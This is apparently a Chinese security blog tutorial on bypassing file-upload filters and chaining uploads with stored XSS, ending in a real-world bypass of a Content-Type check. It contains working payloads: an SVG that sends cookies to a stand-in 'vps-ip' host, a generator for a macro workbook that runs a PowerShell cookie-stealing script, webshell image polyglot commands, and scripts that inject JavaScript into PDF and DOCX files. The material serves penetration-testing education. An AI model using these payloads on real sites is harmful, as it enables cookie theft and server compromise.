耐心球_403
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

OSS存储桶+绕文件上传+存储XSS+绕安全策略+实战案例
0X01 前言:
提到文件上传漏洞,大家第一反应常是上传木马拿权限。但实际挖漏洞时,想顺利上传木马堪称“蜀道之难”,服务器白名单过滤、上传后路径“捉迷藏”、文件无法解析等难题频出,多数人只能无奈放弃。其实,文件上传功能点还有“隐藏玩法”—— 存储型 XSS 跨站脚本攻击,说不定能解锁意外惊喜!本文这就带你一探究竟 。
(扶了扶黑框眼镜,掏出保温杯抿了口枸杞茶)故事起因,今天本熊猫大侠在实战偶遇到个油盐不进的硬茬,正当我准备掏出祖传的菜刀三套件时,突然想起之前在 FreeBuf 啃到的《浅谈src挖掘中——文件上传和XSS漏洞的组合拳 - FreeBuf网络安全行业门户》秘籍。
(原地蹦跶两下模仿熊猫打滚)现在我左手持文件上传当肉盾,右手攥 XSS 漏洞当飞镖,见招拆招那叫一个行云流水。管你是渗透界的灭霸还是 APT 界的紫薯精,先吃我一记文件马后炮,再赏你个反射型烟花秀,最后 Combo 一套 DOM 型升龙拳!(突然掏出竹子啃了起来)嘿嘿,现在的漏洞怪见了我都绕道走,( = , = !)生怕被我这国宝抓去当研究样本~
0X02 回顾文件上传漏洞:
【文件上传の江湖救急指南】
各位看官稍安勿躁!熊猫大侠掐指一算 —— 您要的 "正片" 已加载 0.1%!先来复习三大保命招式:
(1)格式要对:JPG/PNG 是正道,PPTX 别想混进来
(2)大小要巧:5kB 以内能传情,20MB 以上请瘦身
(3)姿势要帅:点击 "上传" 别手抖,弹窗提示是暗号
(突然掏出小本本)这招 "常规三连" 练好了,明天您就是“白宫”的文件上传侠客!
(突然压低声音)江湖险恶,记得定期备份重要文件,设置访问密码加双重保险!下次遇到文件上传难题,默念 "别慌别慌,文件又不会长腿跑掉!",本大侠的秘籍不一定能助你化险为夷!但你记得默念 "别慌别慌,文件又不会长腿跑掉!"。【狗头跑路@ ,@!】
复现靶场:https://upload-labs.bachang.org/
(一)白名单验证_前端验证(常规手段)
原理:通过JS判断文件类型、大小等,快速拦截明显非法文件
【办法一】浏览器:关闭javascript功能
【办法二】F12:删除javascrip关键函数
浏览器:F12检查代码(删除:当表单提交时(例如用户点击了提交按钮),会调用 checkFile() 函数,并根据这个函数的返回值来决定是否真正提交表单)
【办法三】Bp抓包禁用js代码
(二)黑名单验证_MIME验证(常规手段)
原理:后端通过检查HTTP请求头中的Content-Type字段来确定上传文件的类型。服务器依赖Content-Type来判断文件类型,但该字段可在客户端被修改,因此攻击者可能通过篡改Content-Type绕过验证。
(三)黑名单验证_特殊后缀(中,绕过条件+1)
原理:文件上传黑名单是指在文件上传过程中,服务器明确禁止上传的文件类型列表。本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!(php代码检测黑名单)
等价扩展名:
注意:使用2.4.0至2.4.29版本的apache服务器来测试(等价扩展名)
思考一下服务器认识扩展名后缀?修改httpd-conf文件:
AddType application/x-httpd-php .php .phtml .php3
(四)黑名单验证_.htaccess(高,绕过条件+1)
原理:关闭本pass禁止上传
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
(通过php实现黑名单处理判断后缀名)(第3关基础上添加等价扩展名)
注意:.htaccess文件必须命名为.htaccess,不能改名(如4.htaccess)。如果在上传过程中被自动重命名,文件将无法正常解析,失去作用。
通过 .htaccess (Apache 服务器的配置文件)文件可实现:网页 301 永久重定向、自定义 404 错误页面、更改文件扩展名、允许或阻止特定用户或目录的访问、禁止目录列表显示以及配置默认文档等。
复现环境:Apache2.4+PHP7.4.22(注意:php如果是nts版本无法成功(所以phpstudy不行),需要自己安装Apache
第一步:上传文件 .htaccess :
指定文件(危害降低):
<FilesMatch "donbo.png">
SetHandler application/x-httpd-php</FilesMatch>
或者
指令用于将特定的文件扩展名与 MIME 类型关联起来:
AddType application/x-httpd-php .png .txt
第二步:
启用.htaccess,需要修改httpd.conf,启用AllowOverride和rewrite,将none改成all即可,rewrite模块默认开启。
(五)黑名单验证_.user.ini.(弱,绕过条件+1)
原理:Pass_5反复观察发现没有被限制的后缀名有 .php7 以及 .ini
(六)黑名单验证_大小写绕过(常规手段)
原理:部分网站在黑名单过滤时未严格区分大小写,攻击者可通过混合大小写的方式绕过检测。(而 Linux 系统却能精准识别)
(七)黑名单验证_空格绕过(常规手段)
原理:在文件名的末尾(或前面)添加空格,使黑名单验证函数无法匹配到文件扩展名,但文件解析不受影响。
注意:Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格,从而绕过黑名单。(Linux 在角落笑出了声)
例如:
test.php (文件名末尾添加一个空格)
test.php(文件名前面添加一个空格)
test.php%20(文件名末尾添加 URL 编码的空格 %20)
(八)黑名单验证_点号绕过(常规手段)
原理:与空格绕过类似(跳过)。
注意:Windows系统下,文件后缀名最后一个点会被自动去除。(Linux 表示这波操作我看不懂.jpg)
(九)黑名单验证_特殊字符::$DATA绕过(常规手段)
原理:在 Windows 的 NTFS 文件系统中,文件名后添加 ::$DATA 可以绕过后缀名检测。系统会将 ::$DATA 之后的内容视为文件流,而不会检查文件扩展名。例如,上传 test.php::$DATA 会被保存为 test.php,并可能被识别为 PHP 文件执行。
注意:蚁剑连接donpo.php (注意蚁剑连接路径不要加上::$DATA)或者访问网址时
(十)黑名单验证_后缀加点空格点(常规手段)
原理:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来,从而绕过检测。
删除流程:先删除 . 再获取点后缀 再转小写 再去字符串
strchr 主要用于在一个字符串中查找指定字符首次出现的位置
(十一)黑名单验证_双写绕过(常规手段)
原理:利用后端代码仅替换一次黑名单后缀的漏洞,通过双写后缀(如pphphp或asaspp)绕过后缀名检测。
(十二)绕过_get00截断/绕过_post00截断(弱,场景条件+1)
原理:原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00
在 Linux 系统中,null 字符(\0)通常不会被文件系统接受,因此这种截断方法主要适用于 Windows 系统。
注意:php环境00截断的条件:1.php版本小于5.3.292 与 magic quotes gpc=Off#这个在php.ini中
(十三)图片马unpack(弱,绕过条件+1)
原理:文件以二进制形式存储,每个文件开头的特定字节(文件头标志)标识文件类型。服务器通过检测文件头是否在白名单中来判断是否允许上传。如果文件头符合白名单,文件被允许上传;否则被拒绝。
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
5.class文件的文件头:ca fe ba be。
结尾为.png需要结合文件包含漏洞完成
(十四)getimagesize图片马、exif_imagetype图片马(弱,绕过条件+1)
文件头检查
(1)生成:图片马
windows copy /b xiaoniao.gif + shell.php shell.gif
Linux cat xiaoniao.jpg shell.php > shell.jpg
(2)利用工具010 Editor或者vs code插件Hex Editor编辑加加入木马即可
(十五)二次渲染绕过(弱,绕过条件+1)
原理:二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败
补充:小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点(渲染再渲染再插入一句话木马到内容相同的即可)
(十六)白名单_条件竞争一、白名单_条件竞争二(中,场景条件+1)
原理:(1)文件上传后,(先移动再判断)服务器在短暂时间内判断文件是否符合白名单。利用这短暂时间,可通过条件竞争攻击,发送大量上传和访问请求,执行非法文件中的关键语句,如一句话木马。(2)Apache从右到左解析文件后缀,遇不可识别后缀则继续向左判断,文件名 test.php.@.!:Apache 会依次检查 .! → .@ → .php。若 .php 是已知的可执行后缀(如 PHP 脚本),则忽略 .! 和 .@,将文件视为 PHP 脚本处理。
(十七)黑名单_ ./绕过(弱,场景条件+1)
原理:move_uploaded_file 会忽略文件路径末尾的 /,攻击者可构造如 1.php/. 的路径,使 file_ext 为空,绕过黑名单;但 Windows 会自动删除路径中的非法字符(如 / 或 \),影响绕过效果。
(十八)白名单_数组绕过(没必要)
0X03 文件上传和XSS漏洞的组合拳:
【组合攻击の葵花宝典】
组合拳之无痛拳:PDF文件上传造成XSS、XML文件造成XSS、SVG文件造成XSS、xls文件造成XSS、doc或者docx造成XSS、HTML造成XSS、VBA文件造成攻击
<script>alert(XSS Attack)</script>
建议不用alert,利用:
<script>prompt(XSS Attack)</script>
<script>confirm(XSS Attack)</script>
(一)PDF文件上传造成XSS(发生概率高)
注意:上传PDF文件时的Content-Type通常为application/pdf。当上传PDF文件时,服务器需要正确设置该文件的Content-Type,以确保浏览器能够正确解析和显示文件内容。
制作:Adobe Acrobat DC、迅捷PDF编译器、python代码添加app.alert('XSS');
仅简单示范,无恶意代码:
from PyPDF2 import PdfWriter, PdfReader import os def inject_xss_into_pdf(pdf_path, output_path="xss.pdf"): if not os.path.exists(pdf_path): print(f"错误: 找不到指定的PDF文件 '{pdf_path}',请检查路径是否正确。") return False output_pdf = PdfWriter() try: with open(pdf_path, "rb") as file: input_pdf = PdfReader(file) for page in input_pdf.pages: output_pdf.add_page(page) output_pdf.add_js("app.alert('XSS');") with open(output_path, "wb") as output_file: output_pdf.write(output_file) print(f"带有XSS的PDF文件已生成: {output_path}") return True except FileNotFoundError: print(f"错误: 找不到指定的PDF文件 '{pdf_path}',请检查路径是否正确。") return False except Exception as e: print(f"发生错误: {e}") return False if __name__ == "__main__": pdf_path = input("请输入PDF文件的路径: ") inject_xss_into_pdf(pdf_path)
(二)XML文件造成XSS漏洞
注意:当上传XML文件时,其Content-Type通常为application/xml或text/xml。具体取决于服务器的配置和处理方式。
原理:
<?xml version="1.0" encoding="UTF-8"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<script>alert('XSS Attack');</script>
</body>
</html>
</xsl:template></xsl:stylesheet>
(三)SVG文件造成XSS漏洞
原理:SVG文件支持嵌入JavaScript代码,如果应用程序允许用户上传SVG文件且未对内容进行严格验证和过滤,攻击者可上传包含恶意JavaScript代码的SVG文件。当其他用户查看该SVG文件时,恶意脚本会在其浏览器中执行,从而触发XSS攻击。SVG文件的Content-Type通常是image/svg+xml。
例如:
如果应用允许上传 SVG 格式的文件(其实就是一个图像类型的),那么带有以下 Content-Type 的文件可以被用来触发XSS(依次复杂):
一:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS Attack')">
<rect width="100" height="100" fill="red" /></svg>
二:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>
三:
存在XSS漏洞考虑获取对方cookie值
<svg/οnlοad="document.location='http://vps-ip:1234/?'+document.cookie">
(四)XLS文件造成XSS
场景:攻击者通过上传一个包含恶意脚本的XLS文件,当后台程序读取该文件并将其内容显示在Web前端页面时,恶意脚本被执行,从而触发XSS攻击。
注意:XLS文件的Content-Type通常是application/vnd.ms-excel
HTML文件的Content-Type通常是text/html
例如:
1、构造Excel表格内容
在Excel表格中,将XSS Payload插入到用户账号字段中:
2、XSS Payload
<img src=x onerror=confirm(1)>
3、触发XSS攻击:
提交人员(A)提交带有XSS Payload的表格。 审核人员(C)在浏览器中打开表格,浏览器解析HTML内容并触发XSS攻击。 弹出确认对话框,显示数字1,证明攻击成功。
def fake_case():
return "此乃熊猫大侠亲测有效的「搞笑竹筒饭式案例」,成分:竹叶+空气+想象力"
(五)VBA文件造成攻击
原理:邮件附件包含 .docm(Word 宏)、.xlsm(Excel 宏)诱骗用户 “启用内容”,触发 VBA 宏等等,造成读取 浏览器 Cookie(Chrome、Edge)、下载木马等危害
仅简单示范,无恶意代码:
import os import win32com.client
def create_xlsm_with_vba(file_path): excel = win32com.client.Dispatch("Excel.Application") excel.Visible = False workbook = excel.Workbooks.Add() vba_code = """ Private Sub Workbook_Open() Dim objShell As Object Set objShell = CreateObject("WScript.Shell") objShell.Run "powershell.exe -ExecutionPolicy Bypass -File get_browser_cookies.ps1" Set objShell = Nothing End Sub """ workbook.VBProject.VBComponents("ThisWorkbook").CodeModule.AddFromString(vba_code) workbook.SaveAs(file_path, 52) workbook.Close(False) excel.Quit() return file_path file_path = os.path.abspath("malicious.xlsm") create_xlsm_with_vba(file_path) print(f"带有 VBA 宏的 XLSM 文件已创建:{file_path}")
(六)DOCX或者DOC造成XSS漏洞
原理:上传的.docx文件后缀被改为.html,服务器返回Content-Type为text/html,导致浏览器将其解析为HTML并执行其中的脚本,从而触发XSS攻击。
注意事项
1、文件结构完整性:确保在修改和重新压缩文件时,文件结构保持完整,以便浏览器能够正确解析。
2、脚本代码嵌入:将脚本代码嵌入到setting.xml文件的内容中,而不是修改文件名,以避免文件名包含特殊字符导致的问题。
3、服务器配置:确保服务器在提供下载时正确设置Content-Type头为text/html,以便浏览器将文件解析为HTML并执行脚本。
十六进制的:空格<script>alert(42)</script>空格
203C7363726970743E616C65727428275853532041747461636B27293C2F7363726970743E20
测试过程:如果将.docx文件改为.zip修改文件内容或者XML名称,则会导致文件结构被破坏,就算正确设置Content-Type头为text/html,也无法引起造成XSS攻击
修改.docx为.zip再修改settings.xml文件为set<script>alert(42)</script>tings.xml
修改.docx为.html并用浏览器查阅是否触发XSS攻击,是触发但文件结构被破坏
细节:若测试时未成功触发漏洞属于正常现象,关键排查点:确保在 XSS 标签后添加空格(如<script>需写成 <script>空格)
传统空格注入法(如 aaaaa<script>alert (1)< /script>空格aaaaa)会破坏文件结构,接下来将保留原文件内容且触发XSS攻击:
仅简单示范,无恶意代码:
import os import zipfile import shutil def modify_docx_to_html(input_docx_path, output_html_path): if not os.path.exists(input_docx_path): print(f"错误:找不到文件 {input_docx_path}") return None temp_dir = "temp_docx" os.makedirs(temp_dir, exist_ok=True) zip_path = input_docx_path + ".zip" try: os.rename(input_docx_path, zip_path) except FileNotFoundError: print(f"错误:无法重命名文件 {input_docx_path} 到 {zip_path}") return None with zipfile.ZipFile(zip_path, 'r') as zip_ref: zip_ref.extractall(temp_dir) setting_xml_path = os.path.join(temp_dir, "word", "settings.xml") if os.path.exists(setting_xml_path): with open(setting_xml_path, 'a') as f: f.write('<script>alert("42");</script>') else: print(f"警告:未找到 {setting_xml_path} 文件") new_zip_path = os.path.join(temp_dir, "modified.zip") with zipfile.ZipFile(new_zip_path, 'w') as zip_ref: for root, dirs, files in os.walk(temp_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zip_ref.write(file_path, arcname) shutil.move(new_zip_path, output_html_path) shutil.rmtree(temp_dir) os.remove(zip_path) return output_html_path input_docx_path = os.path.abspath("example.docx") output_html_path = os.path.abspath("example.html") result = modify_docx_to_html(input_docx_path, output_html_path) if result: print(f"修改后的文件已保存为: {result}")
(七)HTML造成XSS漏洞
(投影里的熊猫侠客突然掏出倚天剑斩断数据流)这招要诀是 —— 动手测试
例如:
<a href="https://baidu.com" onmouseover="alert('Gotcha!')">
这是正经链接,点击查看熊猫私房照!!!
</a>
0X04 案例反击指南:
抓取图片上传数据包:
0X03:黑名单验证_MIME验证:常见 MIME 类型列表 - HTTP | MDN
利用0X02常规手段都来测试一遍,再Fuzz一圈,经过对参数文件上传的测试,发现服务端仅允许Content-Type以image/开头的文件上传,否则会提示文件非法。
如果上传PHP文件,则告诉服务器:
application/x-www-form-urlencoded:用于简单的表单数据提交。
multipart/form-data:用于文件上传,特别是当表单包含文件输入字段时。
application/octet-stream:大多数浏览器会将 application/octet-stream 类型的响应内容提示为下载,而不是直接在浏览器中显示。用于表示二进制数据流,传输未知或未定义的数据
Content-Type只需要以image/开头,如果你使用不存在类型时,服务端将会按照你传输的类型作为响应头,譬如:
响应为:
思考一下,支持Content-Type的image/开头,没错利用0X03的SVG文件造成XSS漏洞,内容为:Content-Type的image/svg+xml,然而当你使用标准的请求时,服务端是不允许的。
各种fuzz绕过测试,最终只需要在Content-Type: image/svg+xml;末尾加上分号即可绕过,譬如这样:
当为:Content-Type: image/svg+xml1111也可以绕过
Tip1 为什么无法触发XSS?
其实是:当设置X-Content-Type-Options: nosniff时,浏览器会严格按照服务器返回的Content-Type头处理内容,而不会进行类型猜测。这意味着如果Content-Type与文件的实际内容不匹配,浏览器将不会尝试重新解释文件类型,从而防止了潜在的安全风险,如MIME类型嗅探攻击。
例如,如果一个文件的实际内容是HTML,但服务器返回的Content-Type是text/plain,浏览器会将该文件视为纯文本,而不会执行其中的HTML代码。
Tip2 为什么就必须是“ ;”?
其实是:在 HTTP 头部字段中,分号(;)通常用于分隔多个参数。例如,在 Content-Type 头中,分号可以用来分隔 MIME 类型和字符集编码,进而绕过X-Content-Type-Options: nosniff的检测。
0X05 漏洞江湖の终极奥义:总结
文章内容分享完毕,后续有任何疑问或交流需求、文章缺点,欢迎各位师傅共同探讨。文内案例及细节均已详尽阐述,对新手较为友好。(针对0X03后续如果有时间会优化案例并拓展开完善)
文章敏感信息已做打码处理,仅用于经验分享,切勿擅自模仿。未经授权的攻击行为属于违法,作者不对任何由此引发的后果负责。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
